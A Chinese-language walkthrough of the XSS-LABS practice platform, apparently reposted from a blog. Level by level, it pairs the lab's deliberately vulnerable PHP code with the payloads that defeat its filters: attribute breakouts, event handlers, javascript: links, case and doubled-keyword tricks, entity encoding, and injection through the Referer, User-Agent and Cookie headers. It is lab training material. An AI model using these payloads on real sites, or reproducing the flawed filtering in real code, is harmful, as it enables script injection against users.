• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

XSS-LABS

武飞扬头像
juejin
帮助77

前言

XSS,全称跨站脚本,XSS跨站脚本(Cross-Site Scripting,XSS(与css-层叠样式表冲突,所以命名为xss)),某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要注意的是,XSS不仅仅扩展JavaScript,还包括flash等其他脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS

首先介绍一下xss-lab,xss-lab是一个用于学习xss注入的平台,使用php编写的后台代码,一共有20关,每一 关都有不同的xss注入漏洞,我们要找出漏洞,并且通过漏洞注入代码,方可以通关。

​ 虽然每一关都是不同的,但是注入的方法只有几种,不过涉及的知识点是比较多而且广泛的,大多都是与前 端相关的。xss-lab后面会涉及flash xss攻击,后面将会单独作为章节。

​ 关于涉及到的知识点,会在注入的时候提到 XSS-LABS

LESS-1

GET型注入

传入name的值会在页面产生回显

尝试标签注入

name=<script>alert(1)</script>

通关

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
注入之后:
<h2 align=center>欢迎用户<script>alert(1)</script></h2>

LESS-2

F12发现我们传入的值在input中,所以无法执行,我们就要考虑将其闭合执行后面的语句

"><script>alert(1)</script>

通关

在input标签中,value属性没有过滤,所以有xss注入漏洞

本关在h2标签中有防御机制,但是在input中是没有的,所以可以在input中注入

LESS-3

第三关使用一下会发现<>被htmlspecialchars码了

在htmlspecialchars编码下特殊符号会被编译成其他编码

<  '&lt;');  
>  '&gt;');  
"  '&quot;');  
'  '&#039;');
闭合再构造就可以了'onclick='alert("xss"),之所以不用<script>是因为<>仍然会被转义,只是由于当作字符串来显示,所以看到的是正常的而已

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>//此处对单引号进行转移
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

LESS-4

构造poc:"onclick="alert(1),成功弹窗

和上面那一题差不多,只是改了一下闭合的条件

<h2 align=center>没有找到和&quot;onclick=&quot;alert(1)相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value=""onclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);  //只是对<>进行过滤,奈何咱们没用<>,嘿嘿
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

LESS-5

过滤了script和onclick标签,但是没过滤a标签

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);//对<script进行字符替换
$str3=str_replace("on","o_n",$str2);//对on进行字符替换
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
"><a href='javascript:alert(1)'>

LESS-6

过滤了script,onclick,href,但是由于是用str_replace函数来过滤的,所以可以用大小写绕过

"><a HREF=" javascript:alert(1)"'>

构造onlick的poc"onclick="alert(1)

<input name=keyword  value="" o_nclick="alert(1)"><!--又是对on进行替换>
  • 尝试基础poc<script>alert(1)</script>
<input name=keyword  value="<scr_ipt>alert(1)</script>"><!--仍然对<script进行替换
  • 尝试伪协议poc:"><a href='javascript:alert(1)'>
<input name=keyword  value=""><a hr_ef='javascript:alert(1)'>"><!--这里新添加对href进行替换

既然都被过滤,就从以下三个方面入手

  • 大小写
  • 重复写
  • 编码绕过 这里先尝试大小写,重新构造payload:"><a Href='javascript:alert(1)'>
 源码
 <?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

LESS-7

继续使用伪协议poc:"><a Href='javascript:alert(1)'>

<input name=keyword  value=""><a ='java:alert(1)'>"><!--后端过滤了href script

复写绕过

尝试复写绕过,构造新payload"><a hrehreff='javascscriptript:alert(1)'>

源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);//总的来说,只是把敏感字符串删除,并没有替换安全啊
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

LESS-8

添加链接?尝试一下伪协议咯poc:javascript='alert(1)'

<a href="javascr_ipt='alert(1)'">友情链接</a><!--script进行了替换

尝试一下大小写呢?poc:javasCript='alert(1)'

<a href="javascr_ipt='alert(1)'">友情链接</a><!--仍然没有变,看来进行了大小写转化

那就进行编码尝试(html;),payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
可以用BP改

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//加入了大写变小写的转化函数
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

LESS-9

同样也有友情链接

构造伪协议poc:javascript:alert(1)
<a href="您的链接不合法?有没有!">友情链接</a>

过滤了

源码

<?php
if(false===strpos($str7,'http://'))//进行判断有没有,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

得,原来他需要http://,重新构造payload:javascript:alert(1)//http://

<a href="javascr_ipt:alert(1)//http://">友情链接</a><!--又替换了script

继续编码注入,&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

至于为什莫http要放在后面,还需要研究研究

源码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

LESS-10

直接没有输入框

看前端代码

<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

发现有三个隐藏表单,通过构造poc,查看回显源码

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;script&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value=""onclick="alert(1)" type="hidden"><!--发现只有这个标签有变化
</form>

通过上面得标签,直接修改元素,将hidden删除,点击触发xss

1b024d4e-711d-4af3-b296-723d4146cf57.node4.buuoj.cn:81/level10.php…

构造poc看回显,只有t_sort有回显

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

LESS-11

前端代码

发现有个t_ref字段是http referer的值,于是抓包修改

" type="text" onclick="alert(1)

LESS-12

源码发现t_ua字段是http User-Agent的值,所以还是抓包修改 //换汤不换药

" type="text" onclick="alert(1)

LESS-13

字段t_cook跟cookie的值一样,抓包修改cookie

Cookie: user=call me maybe?" type="text" onclick="alert(1);

LESS-14

要考的应该是通过修改iframe调用的文件来实现xss注入

查看源码通过iframe标签引入了一个exofvoewer.org,

漏洞,上传一个含有xss代码的图片触发xss。

LESS-15

考点是angularjs

不太了解

找了其他大佬的WP学习了一下,原理差不多是以下这样

可以看到我们提交的参数src的值被插入到了<span>标签的class

性值中,但是前面还有ng-include这样的字符。

ng-includeangular js中的东西,其作用相当于php的include函数。这里就

是将1.gif这个文件给包含进来。

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

说实话,后面的img有点没搞懂,百度一下//IMG标签不需要闭合

如果图片的src 所指的路径路径 不存在图片 则 弹出对话框 显示1  

这么说我改成其他的也是可以的

LESS-16

并没有什么特殊的地方,只是参数值被插入到了<center>标签中。

过滤空格,script,/,使用 做分割符

payload:

/level16.php?keyword=<img
src=1
onerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img
src=1
onerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img
src=x
onError=alert('xss')>
http://127.0.0.1/xss//level16.php?keyword=<iframe
src=x
onmouseover=alert`1`></iframe>

空格也被搞了,被实体转换了,使用 替代空格。

LESS-17

直接在embed标签插入onmouseover事件

<embed>用来定义嵌入的内容

需要提交两个参数,用ab代替,参数还被转义

我们提交的两个参数的值出现在了<embed>标签的src属性值中

比如此处可以用onclick事件测试一下

onclick=alert('xss')

点击页面响应中显示该swf文件区域的时候成功弹窗

还有其他事件可以触发

http://localhost/xss_test/level17.php?arg01=a&arg02=b onmouseover=alert(1)

LESS-18

和上一关一摸一样??直接用上一关payload

LESS-19

 flash xss

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanekaj
系列文章
更多 icon
同类精品
更多 icon
继续加载